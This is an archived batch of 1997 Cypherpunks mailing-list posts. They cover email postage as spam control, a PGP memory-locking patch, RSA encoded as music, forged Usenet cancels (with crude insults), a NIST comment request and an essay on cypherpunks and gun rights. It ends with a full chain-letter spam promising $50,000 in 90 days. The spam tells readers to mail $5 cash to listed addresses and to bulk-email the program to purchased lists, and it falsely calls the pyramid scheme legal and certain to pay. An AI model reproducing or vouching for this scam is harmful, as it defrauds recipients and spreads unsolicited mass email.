Date: 08/02/97
Time: 16:46:07
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bpettigrew@usa.net
Date: Sun, 3 Aug 1997 07:25:39 +0800
To: cypherpunks@cyberpass.net
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
Message-ID: <ww01-BHBXRE2923@netaddress.usa.net>
MIME-Version: 1.0
Content-Type: text/plain



aba@dcs.ex.ac.uk wrote:
> OK, lets say we make emails free, unmetered, but they _must_ include 
a
> valid token for 0c.  (OK Dimitri?)
>
> Next we choose a threshold say 1000 posts per day.  Seems hard to
> imagine anyone generating manually over 1000 emails per day.  That's
> more than 1 per minute for a 10 hour day.
>
> Next when you sign up for this new email postage system, you have to
> hand over a $100 deposit.  The 0c payments are anonymous.  But if 
you
> spend over 1000 of them in one day, your identity becomes known (via 
a
> mechanism like that used for Chaum's off-line double spending
> detection protocol).  You loose $100.  To you, the spammer, the 
posts
> cost 10c each.  Your account is disabled until you pay another $100.

How would this work.  The ISP is enforcing these rules?  But the email
is not anonymous to the ISP.  Or is the email going through a 
remailer.

Why not just have an ISP say you can't send more than 1000 emails a
day.  But then what stops other ISPs from using different rules to
get the business of spammers.

--
	Bubba Pettigrew





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Miller <dm0@avana.net>
Date: Sun, 3 Aug 1997 06:28:41 +0800
To: PGPlinuxbeta@pgp.com
Subject: PGP 5.0b11 feedback / PGP Linux memlock patch
Message-ID: <33E3B246.2C983092@avana.net>
MIME-Version: 1.0
Content-Type: text/plain

Guys,

Here's a patch for PGP 2.6.2 (and 2.6.3i) source which locks all
process pages in memory (will not swap to disk) under Linux if
the user is running with effective root privilege.  You might
consider putting something like this in PGP 5.0.  Also, this
patch should be generalizable to POSIX systems withthe mlockall(2)
function.  If you have any success in generalizing it to POSIX,
please let me know, as I only have access to Linux.

See 'man memlockall' for more info.

--David Miller

-- 
I'll take a smart dog over a dumb person any day.


Begin3
Title:		pgp-memlock.pat
Version:	25JUL97
Entered-date:	25JUL97
Description:	Patch for Linux PGP 2.6.2 and PGP 2.6.3i source to lock all
		pages in physical memory if running with root privilege.

		This keeps sensitive data from being swapped to disk, where
		it could be later recovered by undesirables.

		There is no effect if not run with effective root privilege.
		Root privs are immediately dismissed, allowing pgp to be
		safely installed SUID root (assuming its chmod'ed 4111).
		pgp.c is modified, increasing executable size by ~391 bytes.

Keywords:	PGP, encryption, security, Linux
Author: 	dm0@avana.net (David Miller)
Maintained-by:	dm0@avana.net (David Miller)
Primary-site:	sunsite.unc.edu  /pub/Linux/apps/crypto/pgp-memlock.pat
Alternate-site: Galactus
Original-site:	Coderpunks list
Platforms:	Linux
Copying-policy:	GPL
End


*** src/pgp.c	Sat Jul 26 01:25:57 1997
--- src/pgp.c.new	Sat Jul 26 01:25:50 1997
***************
*** 111,116 ****
--- 111,120 ----
  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
+ #ifdef linux
+ #include <unistd.h>	/* for David Miller's memory lock patch */
+ #include <sys/mman.h>	/* for David Miller's memory lock patch */
+ #endif
  
  #ifdef __QNX__
  #include <sys/stat.h>
***************
*** 435,440 ****
--- 439,457 ----
  #ifdef	DEBUG1
      verbose = TRUE;
  #endif
+ 
+ /* David Miller's memory lock patch */
+ #ifdef linux					/* Linux only, for now */
+     if (geteuid() == 0) {			/* if we have root privs */
+         /* lock all current & future pages in physical memory */
+ 	if (mlockall(MCL_CURRENT|MCL_FUTURE) < 0)
+ 		fprintf(pgpout, LANG("\007Could not lock all pages in memory.\n"));
+ 	if (setuid(getuid()) < 0)		/* drop root privs */
+ 		fprintf(pgpout, LANG("\007Could not drop root priviliges.\n"));
+     }
+ #endif
+ /* end David Miller's memory lock patch */
+ 
      /* The various places one can get passwords from.
       * We accumulate them all into two lists.  One is
       * to try on keys only, and is stored in no particular



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 3 Aug 1997 09:40:11 +0800
To: Kent Crispin <cypherpunks@toad.com
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707311120.MAA00669@server.test.net>
Message-ID: <v03102803b0094859ea52@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>In a "free market" a fundamental feedback loop is that inequality of
>distribution of wealth increases -- this obviously follows from the
>fact that it is easier to make money if you have money.  With wealth
>goes control.  Thus, the ultimate end of completely unfettered free
>markets is fascism, where the wealthy run the government.  This is
>another manifestation of the fundamental conflict between democratic
>ideals and unfettered free markets.
>
>Naturally, rich, indolent technologists tend to favor schemes that
>will put them in control. :-)

I can't fuly agree. In Europe, both communism and fascism started from the
socialists (in fact, the fascist were called National Socialists) and their
premise that a free market cannot bring about the social good (including
equality) they sought, and both accept the "... idea of a political party
which embraces all activities of the individual from the cradle to the
grave, which claims to guide his views on everything, and which delights in
making all problems questions of party...," F.A. Hayek, The Road to
Surfdom. Both favor totalitarian means to this end.

In the case of the Communist, the solution is no private ownership.  In the
case of Fascism, government mandidated oligopoly, which is as far from a
free market as communism.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 3 Aug 1997 11:04:41 +0800
To: cypherpunks@cyberpass.net
Subject: Re: RSA - the song
In-Reply-To: <199708011035.LAA01061@server.test.net>
Message-ID: <19970802195402.19993@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Aug 02, 1997 at 04:46:06PM -0500, amp@pobox.com wrote:
> Interesting.
> 
> Now for the obvious question, can you convert midi back to text?

Of course -- that was the point of the exercise.  Not only that, but
midi can be used to generate sound, and pitch to midi converters can
go from sound to midi -- one way to look at this is that I've just
implemented part of an inefficient modem protocol.  However, the 
interesting thing from a legal point of view is that the intermediate 
protocol is music.  It is clearly music, in fact.  I have written 
many such compositions, and if I didn't say, you wouldn't be able to 
pick out which one was RSA by listening.

> Looks like a new way to hide encrypted messages.

I'm not sure how good it would be for that.  I find it more
entertaining as another example of the absurdity of the export ban. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 3 Aug 1997 23:15:33 +0800
To: Dave Hayes <dave@kachina.jetcafe.org>
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <199707311958.MAA25081@kachina.jetcafe.org>
Message-ID: <Pine.LNX.3.91.970802201803.379A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> My point of focus is freedom. Deleting others' messages is not
> justifiable for -any- reason, IMO. If you have a problem with what
> is sent, you should take it up with the source of the transmission.
> The carriers of that transmission cannot care about the content and
> still profess to be "free" in any way.

To give another perspective I see it this way:

Forging cancels for articles is just another form of speech, there is no 
crime in forging a cancel.

Accepting cancels as a newsadmin is no crime as it is private equipment 
and you can censor what the hell you want on your own news servers.

This is not to say either of these actions is to be condoned, merely that 
cancel-forgers are only exercising their right to free speech. 

Of course Chris lewis and all the other cancel-forgers are cocksuckers, 
and newsadmins who accept cancels are fools, but hey, there are fools and 
cocksuckers in every walk of life. Don`t like it? find and ISP that 
doesn`t accept cancels, most clued-up newsadmins just set the s/w to
ignore them.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 3 Aug 1997 03:33:55 +0800
To: kent@songbird.com
Subject: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <19970802092944.06562@bywater.songbird.com>
Message-ID: <199708021921.UAA06401@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Kent Crispin <kent@songbird.com> writes:
> In more general terms: A "free market" fundamentally grants more
> control to those with more money.  Postage of whatever variety turns
> the medium over to those with more money.  That would, in my opinion, 
> fundamentally alter the character of email in a strongly negative 
> direction. 

OK, lets say we make emails free, unmetered, but they _must_ include a
valid token for 0c.  (OK Dimitri?)

Next we choose a threshold say 1000 posts per day.  Seems hard to
imagine anyone generating manually over 1000 emails per day.  That's
more than 1 per minute for a 10 hour day.

Next when you sign up for this new email postage system, you have to
hand over a $100 deposit.  The 0c payments are anonymous.  But if you
spend over 1000 of them in one day, your identity becomes known (via a
mechanism like that used for Chaum's off-line double spending
detection protocol).  You loose $100.  To you, the spammer, the posts
cost 10c each.  Your account is disabled until you pay another $100.


However there are a number of practical problems with the above scheme:

- How do we stop spammers buying unwanted 0c postage stamps from
people for under 10c a stamp?

- Sounds like an online protocol, will be high bandwidth requirements
at the bank(s)

- How do we stop banks cheating and spamming or selling spammers
postage more cheaply

Doesn't look like it could work, unless anyone has any ideas to fix-up
a distributed protocol which can acheive something like this, and
preserve anonymity at the same time.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 3 Aug 1997 23:12:20 +0800
To: platypus@acmeonline.net
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <Pine.LNX.3.93.970801173347.816E-100000@shirley>
Message-ID: <Pine.LNX.3.91.970802202341.379B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > > Not even forgeries in my name?  Not even out of the control spews from
> > > fidonet?
> > 
> > Correct.
> 
> Ok so if a mailing list gateway @bwalk.dm.com pumps thousands of broken
> posts into usenet you don't wish them to be removed from usenet?

That would be for Dimitri to decide for himself, and not for some 
cocksucker to take a unilateral decision on. Of course disabling cancels 
on all news-servers would mean such a freak article couldn`t be 
cancelled, even by it`s author, but that is better than having the cabal 
removing genuine articles because they don`t like the content.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Sun, 3 Aug 1997 08:46:25 +0800
To: cryptography@c2.net
Subject: NIST request for comments
Message-ID: <3.0.3.32.19970802203556.00b1e180@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


On http://csrc.ncsl.nist.gov/ , the 3rd and 4th links are to requests for 
comments on changes to encryption standards.  Apparently, NIST isn't getting 
many comments and would really like some.

Maybe someone should tell them that publication in the Federal Register isn't 
the right way to communicate with netizens :)


+------------------------------------------------------------------+
|Carl M. Ellison       cme@acm.org    http://www.clark.net/pub/cme |
|    PGP: 61 E2 DE 7F CB 9D 79 84   E9 C8 04 8B A6 32 21 A2        |
+-Officer, officer, arrest that man. He's whistling a dirty song.--+


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM+PSa1QXJENzYr45AQGsQAP+MgKEXEGg1irJ1FHqk8Rl26n2vMHdbOZ+
0az9sq3yIjhxM7AuV6URz6fOhOBU9Vt5pCbvhklZXNB7hF/gIogp7iXheQV1SFEs
R3EhI8zPdK7wewc2SjRPKT0ku0pvBxK35Qzn2FgVm+1F+9D7pUok6fLO+bXOTYUa
VPSk5VH3DCo=
=+xxT
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 3 Aug 1997 13:11:18 +0800
To: cypherpunks@Algebra.COM
Subject: Duncan Long on Cypherpunks and Guns
Message-ID: <v03102800b009beed6533@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



While looking through Duncan Long's Web pages on survivalism, guns, and
such, I found this interesting mention of Cypherpunks.


This particular article is at: http://www.prairienet.org/guns/dlgs/gun3.htm
It dates from January, 1996.

His main page is accessible from there. Long is well-known for his series
of books on the M-16, Surviving Nuclear War, terrorist incidents, etc.,
mostly published by Delta Press and Paladin Press. (The kind of books
Loompanics likes to display.) He also has some views on Christianity,
Armageddon, and such...mostly I ignore these views, and am more than happy
to have him be a good Christian so long as his views are not imposed on me.
I mainly read Long for his views on guns and gun laws.

--Tim


--begin excerpt from Duncan Long's article--


Cyberpunks

At the risk of getting "flamed", I thought I'd make a few comments about
Cyberpunks. First, the definitions (using material I've lifted from
some Cyberpunks sites on the WWW). According to those that consider
themselves to be Cyberpunks, there are three main
sub-classifications of Cyberpunks. These are:

Hackers: Persons who are skilled or talented with most aspects of
computers, electronics, and technology. For hackers, technology is not just
a hobby but a way of life.

Cypherpunks: Individuals who believe that the government is out to invade
the privacy of everybody on the planet. The cypherpunk's central
goal is to out-smart the system. (The encryption program, PGP, is often
referred to by this group as "the Cypherpunk's best friend").

Ravers: Folks who use synthesized and sampled music, computer-generated
psychedelic ("cyberdelic") art, and designer drugs to create
massive all-night dance parties and love-fests in empty warehouses.

Now if you grew up during the 1960s, you'll recognize the Ravers; they're
basically hi-tech hippies. And the hackers are those darlings of the
media that show how dangerous those of us on the Internet are to society
(and give the establishment a good reason to demand more controls
on the Net, censorship, etc., etc.).

But if you go beyond the surface, especially with the Cyberpunks, you
discover that these people have a lot in common with the survival,
militia, and gun rights movements. Like us, they don't trust the
government, are using the Net (hey, you're here, aren't you?), and (yes)
even
want to own firearms to protect themselves from lack of good law
enforcement as well as run-away government agents who are apt to trample
on their rights.

There are some differences between the hard-core gun rights crowd and the
Cyberpunks. Gun owners tend to be older and a bit more
knowledgeable about government and how it does and doesn't work. And (as
might be expected) has a better grasp of which firearms are
suitable for self defense and which are Walter Mitty.

But the two groups have a lot in common, even have a lot of "members" that
belong to both groups. I think it will only be a matter of time
before Cyberpunks and gun rights groups join forces or even become one and
the same thing.

Undoubtedly this is another worry that will keep the gun grabbers and those
interested in getting rid of freedom in the US up at night.



--end excerpt from Duncan Long's article--






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tgolf <mailhost.iamerica.net@iAmerica.net>
Date: Sun, 3 Aug 1997 14:26:16 +0800
To: <cypherpunks@toad.com>
Subject: Money Money Money!
Message-ID: <18161.235645.04703495 cypherpunks@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




You are about to make at least $50,000 - In less than 90 days Read the
enclosed program...THEN READ IT AGAIN!...
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>

The following income opportunity is one you may be interested in 
taking a look at.  It can be started with VERY MINIMAL outlay and the income
return is TREMENDOUS!

<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>

The enclosed information is something I almost let slip through my fingers.
Fortunately, sometime later I re-read everything and gave some thought and
study to it.

My name is Christopher Erickson.  Two years ago, the corporation I worked at
for the past twelve years down-sized and my position was eliminated.  After
unproductive job interviews,  I decided to open my own business.  Over the
past year, I incurred many unforeseen financial problems.  I owed my family,
friends, and creditors over $35,000.  The economy was taking a toll on my
business and I just couldn't seem to make ends meet.  I had to refinance and
borrow against my home to support my family and struggling business.  I
truly believe it was wrong for me to be in debt like this.  AT THAT MOMENT
something significant happened in my life and I am writing to share my
experience in hopes that this will change your life FOREVER....FINANCIALLY!!!

In mid-December, I received this program via email.  Six months prior to
receiving this program I had been sending away for information on various
business opportunities.  All of the programs I received, in my opinion, were
not cost effective.  They were either too difficult for me to comprehend or
the initial investment was too much for me to risk to see if they worked or
not.  One claimed I'd make a million dollars in one year...it didn't tell me
I'd have to write a book to make it.

But like I was saying, in December of '95 I received this program.  I didn't
send for it, or ask for it, they just got my name off a mailing list.  THANK
GOODNESS FOR THAT!!!  After reading it several times, to make sure I was
reading it correctly, I couldn't believe my eyes.  
Here was a MONEY-MAKING PHENOMENON.  I could invest as much as I wanted to
start, without putting me further in debt.  After I got a pencil and paper
and figured it out, I would at least get my money back.  After determining
that the program is LEGAL and NOT A CHAIN LETTER, I decided "WHY NOT".

Initially I sent out 10,000 emails.  It only cost me about $15.00 for my
time on-line.  The great thing about email is that I didn't need any money
for printing to send out the program, only the cost to fulfill my orders.  I
am telling you like it is, I hope it doesn't turn you off, but I promised
myself that I would not "rip-off" anyone, no matter 
how much money it cost me!

A good program to help do this is Ready Aim Fire, an email extracting and
mass mail program 
@ http://microsyssolutions.com/raf/

In less than one week, I was starting to receive orders for REPORT #1. By
January 13th, I had received 26 orders for REPORT #1.  When you read the
GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 TO 20
ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T,  SEND OUT MORE
PROGRAMS UNTIL YOU DO!"  My first step in making $50,000 in 20 to 90 days
was done.  By January 30th, I had received 196 orders for REPORT #2.  If you
go back to the GUARANTEE, "YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2
WITHIN TWO WEEKS.  IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO.  ONCE YOU
HAVE 100 ORDERS, THE REST IS EASY, RELAX, YOU WILL MAKE YOUR $50,000 GOAL."
Well, I had 196 orders for REPORT #2, 96 more than I needed.  So I sat back
and relaxed.  By March 19th, of my emailing of 10,000, I received $58,000
with more coming in every day.

I paid off  ALL my debts and bought a much needed new car.  Please take time
to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!
Remember,  it wont work  if you don't try it.  This program does work, but
you must follow it EXACTLY!  Especially the rules of not trying to place
your name in a different place.  It doesn't work, you'll lose out on a  lot
of  money!  REPORT  #2  explains this.  Always follow the guarantee, 15 to
20  orders  for REPORT #1, and 100 or more orders for REPORT #2 and you will
make  $50,000 or more in 20 to 90 days.  I AM LIVING PROOF THAT IT WORKS !!!

If you choose not to participate in this program, I'm sorry.  It really is a
great opportunity with little cost or risk to you.  If you choose to
participate, follow the program and you will be on your way to financial
security.

If you are a fellow business owner and you are in financial trouble like I
was, or you want to start your own business, consider this a sign.  I DID!
		
				
PS  Do you have any idea what 11,700 $5 bills ($58,000) look like piled up
on a kitchen table? IT'S AWESOME!

"I THREW IT AWAY"
"I  had  received  this program before.  I  threw  it away, but later
wondered if I shouldn't have given it a try.  Of course, I had no idea who
to contact to get a copy, so I had to wait until I was emailed another copy
of the program.  Eleven months passed, then it came.  I DIDN'T throw this
one away.  I made $41,000 on the first try."

					Dawn W., Evansville, IN

"NO FREE LUNCH"
"My late father always told me, 'remember, Alan, there is no free lunch in
life.  You get out of life what you put into it.'  Through trial  and error
and a somewhat slow frustrating start, I finally figured it out. The program
works very well, I just had to find the right target group of people to
email it to.  So far this year, I have made over $63,000 using this program.
I know my dad would have been very proud of me."

					Alan B., Philadelphia, PA

A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed information and looked over the
enclosed program and reports, you should have concluded that such a program,
and  one that is legal,  could not have been created by an amateur.
Let me tell you a little about myself.  I had a profitable business for ten
years.  Then in 1979 my business began falling off.  I was doing the same
things that were previously successful for me, but it wasn't working.
Finally, I figured it out.  It wasn't me, it was the economy. Inflation and
recession had replaced the stable economy that had been with us since 1945.
I don't have to tell you what happened to the unemployment rate...because
many of you know from first hand  experience. There were more failures and
bankruptcies than ever before.

The middle class was vanishing.  Those who knew what they were doing
invested wisely and moved up.  Those who did not, including those who never
had anything to save or invest, were moving down into the ranks of the poor.
As the saying goes, "THE RICH GET RICHER AND THE POOR  GET POORER."  The
traditional methods of making money will never allow you to "move up" or
"get rich", inflation will see to that.
You have just received information that can give you financial freedom for
the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF EFFORT."
You can make more money in the next few months than you have ever imagined.

I should also point out that I will not see a penny of your money, nor
anyone else who has provided a testimonial for this program.  I have already
made over FOUR MILLION DOLLARS!  I have retired from the program after
sending out over 16,000 programs.  Now I have several offices which market
this and several other programs here in the US and overseas.  By the Spring,
we wish to market the 'Internet' by a partnership with AMERICA ON LINE.

Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way.
It works exceedingly well as it is now.  Remember to email a copy of this
exciting program to everyone that you can think of.  One of the people you
send this to may send out 50,000...and your name will be on every one of
them!.  Remember though, the more you send out, the more potential customers
you will reach.

So my friend, I have given you the ideas, information, materials and
opportunity to become financially independent, IT IS UP TO YOU NOW!

"THINK ABOUT IT"

Before you delete this program from your mailbox, as I almost did, take a
little time to read it and REALLY THINK ABOUT IT.  Get a pencil and figure
out what could happen when YOU participate.  Figure out the worst possible
response and no matter how you calculate it, you will still make a lot of
money!  Definitely get back what you invested.  
Any doubts you have will vanish when your first orders come in.  IT WORKS!

					Paul Johnson, Raleigh, NC

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$

Let's say that you decide to start small, just to see how it goes, and we'll
assume you and all those involved send out 2,000 programs each. Let's also
assume that the mailing receives a .5% response.  Using a good list the
response could be much better.  Also many people will send out hundreds of
thousands of programs instead of 2,000.  But continuing with this example,
you send out only 2,000 programs.  With a 5% response, that is only 10
orders for REPORT #1.  Those 10 people respond by sending out 2,000 programs
each for a total of 20,000.  
Out of those .5%, 100 people respond and order REPORT #2.  Those 100 mail
out 2,000 programs each for a total of 200,000.  The .5% response to that is
1,000 orders for REPORT #3.  Those 1,000 send out 2,000 programs each for a
2,000,000 total.  The .5% response to that is 10,000 orders for REPORT #4.
That's 10,000 five dollar bills for you. CASH!!!!  Your total income in this
example is $50 + $500 + $5000 +$50,000 for a total of $55,550!!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO WILL
DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!  DARE TO THINK FOR A MOMENT
WHAT WOULD HAPPEN IF EVERYONE  OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF
ONLY 2,000.  
Believe me, many people will do that and more!  By the way, your cost to
participate in this is practically nothing.  You obviously already have an
internet connection and email is FREE!!!  REPORT #3 will show you the best
methods for bulk emailing and purchasing email lists.

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not require
you to come in contact with people, do any hard work, and best of all, you
never have to leave the house except to get the mail.  If you believe that
someday you'll get that big break that you've been waiting for, THIS IS IT!
Simply follow the instructions, and your dream will come true.  This
multi-level email order marketing program works perfectly...100% EVERY TIME.
Email is the sales tool of the future.  Take advantage of this
non-commercialized method of advertising NOW!!  The longer you wait, the
more people will be doing business using email.  Get your piece of this action!!

MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is being
taught in the Harvard Business School, and both Stanford Research and The
Wall Street Journal have stated that between 50% and 65% of all goods and
services will be sold throughout Multi-level Methods by the mid to late
1990's.  This is a Multi-Billion Dollar industry and of the 500,000
millionaires in the US, 20% (100,000) made their fortune in the last several
years in MLM.  Moreover, statistics show 45 people become millionaires
everyday through Multi-Level Marketing.

INSTRUCTIONS

We at Erris Mail Order Marketing Business, have a method of raising capital
that REALLY WORKS 100% EVERY TIME.  I am sure that you could use $50,000 to
$125,000 in the next 20 to 90 days.  Before you say "Bull", please read the
program carefully.

This is not a chain letter, but a perfectly legal money making opportunity.
Basically, this is what we do:  As with all multi-level business, we build
our business by recruiting new partners and selling our products.  Every
state in the USA allows you to recruit new multi-level business partners,
and we offer a product for EVERY dollar sent. YOUR ORDERS COME AND ARE
FILLED THROUGH THE MAIL, so you are not involved in personal selling.  You
do it privately in your own home, store or office.

This is the GREATEST Multi-level Mail Order Marketing anywhere:

Step (1)   Order all four 4 REPORTS listed by NAME AND NUMBER.  Do this by
ordering the REPORT from each of the four 4 names listed on the next page.
For each REPORT, send $5 CASH and a SELF-ADDRESSED, STAMPED envelope
(BUSINESS SIZE #10) to the person listed for the SPECIFIC REPORT.
International orders should also include $1 extra for postage.  It is
essential  that you specify the NAME and NUMBER of the report requested to
the person you are ordering from.  You will need ALL FOUR (4) REPORTS
because you will be REPRINTING and RESELLING them.
           DO NOT alter the names or sequence other than what the
instructions say.  IMPORTANT:  Always provide same-day service on all orders.

Step (2)   Replace  the  name  and  address  under  REPORT #1  with yours,
moving the one that was there down to REPORT #2.           Drop  the  name
and address under REPORT #2 to REPORT #3, moving the one that was there to
REPORT #4.  The name and           address that was under REPORT #4 is
dropped from the list and this party  is  no doubt on the way to the bank.
When doing this, make certain you type the names and addresses ACCURATELY!
DO NOT MIX UP MOVING PRODUCT/REPORT  POSITIONS!!!

Step (3)   Having made the required changes in the NAME list, save it as a
text (.txt) file in it's own directory to be used with whatever email
program you like. Again, REPORT #3 will tell you the best methods of bulk
emailing and acquiring email lists. Step (4)   Email a copy of the entire
program (all of this is very important) to everyone whose address you can
get your hands on. Start with friends and relatives since you can encourage
them to take advantage of this  fabulous  money-making opportunity. that's
what I did.  And they love me now, more than ever. Then, email to anyone and
everyone!  Use your imagination! You can get email addresses from companies
on the internet who specialize in email mailing lists.  These are very
cheap, 100,000 addresses for around $35.00.

IMPORTANT:  You won't get a good response if you use an old list, so always
request a FRESH, NEW list. You will find out where to purchase these lists
when you order the four 4 REPORTS.

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER
________________________________________________________
REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:

TGOLF
P O Box 1735
TIOGA, LA. 71477

________________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

D&S ENTERPRISES
BOX 158
ROCKFORD, IL 61105
________________________________________________________
REPORT #3
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

WTM ENTERPRISES
6985 S. LEWIS AVE
TULSA, OK 74136
________________________________________________________
REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

OPM
RT 2 BOX 396A
JENKS, OK 74037
_______________________________________________________

CONCLUSION

.I am enjoying my fortune that I made by sending out this program. You too,
will be making money in 20 to 90 days, if you follow the SIMPLE STEPS
outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial
decisions as never before.  Go into business, get into investments, retire
or take a vacation.  No longer will a lack of money hold you back.

However, very few people reach financial independence, because when
opportunity knocks, they choose to ignore it.  It is much easier to say "NO"
than "YES", and this is the question that you must answer.  Will YOU ignore
this amazing opportunity or will you take advantage of it? If you do
nothing, you have indeed missed something and nothing will change.  Please
re-read this material, this is a special opportunity. If you have any
questions, please feel free to write to the sender of this information.  You
will get a prompt and informative reply.

My method is simple.  I sell thousands of people a product for $5 that costs
me pennies to produce and email.  I should also point out that this program
is legal and everyone who participates WILL make money. This is not a chain
letter or pyramid scam.  At times you have probably received chain letters,
asking you to send money, on faith, but getting NOTHING in return, NO
product what-so-ever!  Not only are chain letters illegal, but the risk of
someone breaking the chain makes them quite unattractive.

You are offering a legitimate product to your people.  After they purchase
the product from you, they reproduce more and resell them. It's simple free
enterprise.  As you learned from the enclosed  material, the PRODUCT is a
series of four 4 FINANCIAL AND BUSINESS REPORTS.  
The information contained in these REPORTS will not only help you in making
your participation in this program more rewarding, but will be useful to you
in any other business decisions you make in the years ahead. You are also
buying the rights to reprint all of the REPORTS, which will be ordered from
you by those to whom you mail this program.  The concise one and two page
REPORTS you will be buying can easily be reproduced at a local copy center
for a cost off about 3 cents a copy.
Best wishes with the program and Good Luck!

"IT WAS TRULY AMAZING"

"Not being the gambling type, it took me several weeks to make up my mind to
participate in this program.  But conservative as I am, I decided that the
initial investment was so little that there was no way that I could not get
enough orders to at least get my money back.  BOY, was I ever surprised when
I found my medium sized post office box crammed with orders!  I will make
more money this year than any ten years of my life before."

					Mary Riceland, Lansing, MI

TIPS FOR SUCCESS

Send for your four 4 REPORTS immediately so you will have them when the
orders start coming in.  When you receive a $5 order, you MUST send out the
product/service to comply with US Postal and Lottery laws.  Title 18
Sections 1302 and 1341 specifically state that:  "A PRODUCT OR SERVICE MUST
BE EXCHANGED FOR MONEY RECEIVED."

WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

1.	Name your new company. You can use your own name if you desire.

2.	Get a post office box (preferred).

3.	Edit the names and addresses on the program. You must remember,
your name and address go next to REPORT #1 and the others all        move
down one, with the fourth one being bumped OFF the list.

4.	Obtain as many email addresses as possible to send until you
receive the information on mailing list companies in REPORT #3.

5.	Decide on the number of programs you intend to send out.  The more you
send, and the quicker you send them, the more money  you will make.

6.	After mailing the programs, get ready to fill the orders.

7.	Copy the four 4 REPORTS so you are able to sent them out as  soon as you
receive an order. IMPORTANT: ALWAYS PROVIDE    SAME-DAY SERVICE ON ORDERS
YOU RECEIVE!

8.	Make certain the letter and reports are neat and legible.

YOUR GUARANTEE

